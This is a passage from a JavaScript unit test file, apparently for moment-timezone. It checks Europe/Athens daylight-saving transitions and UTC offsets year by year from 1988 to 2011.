t.equal(moment("1988-09-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1988-09-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1988-09-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1988-09-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1989" : function (t) { t.equal(moment("1989-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1989-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1989-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1989-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1989-09-24T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1989-09-24T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1989-09-24T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1989-09-24T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1989-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1989-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1989-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1989-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1989-09-24T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1989-09-24T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1989-09-24T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1989-09-24T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1990" : function (t) { t.equal(moment("1990-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1990-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1990-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1990-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1990-09-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1990-09-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1990-09-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1990-09-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1990-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1990-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1990-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1990-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1990-09-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1990-09-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1990-09-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1990-09-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1991" : function (t) { t.equal(moment("1991-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1991-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1991-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1991-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1991-09-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1991-09-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1991-09-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1991-09-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1991-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1991-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1991-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1991-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1991-09-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1991-09-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1991-09-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1991-09-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1992" : function (t) { t.equal(moment("1992-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1992-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1992-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1992-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1992-09-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1992-09-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1992-09-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1992-09-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1992-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1992-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1992-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1992-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1992-09-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1992-09-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1992-09-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1992-09-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1993" : function (t) { t.equal(moment("1993-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1993-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1993-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1993-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1993-09-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1993-09-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1993-09-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1993-09-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1993-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1993-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1993-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1993-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1993-09-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1993-09-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1993-09-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1993-09-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1994" : function (t) { t.equal(moment("1994-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1994-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1994-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1994-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1994-09-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1994-09-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1994-09-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1994-09-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1994-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1994-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1994-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1994-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1994-09-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1994-09-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1994-09-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1994-09-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1995" : function (t) { t.equal(moment("1995-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1995-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1995-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1995-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1995-09-24T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1995-09-24T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1995-09-24T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1995-09-24T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1995-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1995-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1995-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1995-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1995-09-24T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1995-09-24T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1995-09-24T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1995-09-24T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1996" : function (t) { t.equal(moment("1996-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1996-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1996-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1996-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1996-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1996-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1996-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1996-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1996-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1996-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1996-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1996-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1996-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1996-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1996-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1996-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1997" : function (t) { t.equal(moment("1997-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1997-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1997-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1997-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1997-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1997-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1997-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1997-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1997-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1997-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1997-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1997-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1997-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1997-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1997-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1997-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1998" : function (t) { t.equal(moment("1998-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1998-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1998-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1998-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1998-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1998-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1998-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1998-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1998-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1998-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1998-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1998-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1998-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1998-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1998-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1998-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1999" : function (t) { t.equal(moment("1999-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1999-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1999-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1999-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1999-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1999-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1999-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1999-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1999-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1999-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1999-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1999-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1999-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1999-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1999-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1999-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2000" : function (t) { t.equal(moment("2000-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2000-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2000-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2000-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2000-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2000-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2000-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2000-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2000-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2000-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2000-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2000-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2000-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2000-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2000-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2000-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2001" : function (t) { t.equal(moment("2001-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2001-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2001-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2001-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2001-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2001-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2001-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2001-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2001-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2001-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2001-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2001-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2001-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2001-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2001-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2001-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2002" : function (t) { t.equal(moment("2002-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2002-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2002-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2002-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2002-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2002-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2002-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2002-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2002-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2002-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2002-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2002-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2002-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2002-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2002-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2002-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2003" : function (t) { t.equal(moment("2003-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2003-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2003-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2003-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2003-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2003-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2003-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2003-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2003-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2003-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2003-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2003-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2003-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2003-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2003-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2003-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2004" : function (t) { t.equal(moment("2004-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2004-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2004-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2004-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2004-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2004-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2004-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2004-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2004-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2004-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2004-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2004-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2004-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2004-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2004-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2004-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2005" : function (t) { t.equal(moment("2005-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2005-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2005-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2005-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2005-10-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2005-10-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2005-10-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2005-10-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2005-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2005-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2005-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2005-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2005-10-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2005-10-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2005-10-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2005-10-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2006" : function (t) { t.equal(moment("2006-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2006-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2006-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2006-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2006-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2006-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2006-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2006-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2006-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2006-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2006-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2006-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2006-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2006-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2006-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2006-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2007" : function (t) { t.equal(moment("2007-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2007-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2007-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2007-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2007-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2007-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2007-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2007-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2007-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2007-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2007-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2007-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2007-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2007-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2007-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2007-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2008" : function (t) { t.equal(moment("2008-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2008-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2008-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2008-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2008-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2008-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2008-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2008-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2008-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2008-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2008-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2008-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2008-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2008-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2008-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2008-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2009" : function (t) { t.equal(moment("2009-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2009-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2009-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2009-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2009-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2009-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2009-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2009-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2009-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2009-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2009-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2009-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2009-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2009-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2009-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2009-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2010" : function (t) { t.equal(moment("2010-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2010-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2010-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2010-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2010-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2010-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2010-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2010-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2010-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2010-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2010-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2010-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2010-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2010-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2010-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2010-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2011" : function (t) { t.equal(moment("2011-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2011-03-27T00:59:59+00:00 should be 02:59:59 EET"); 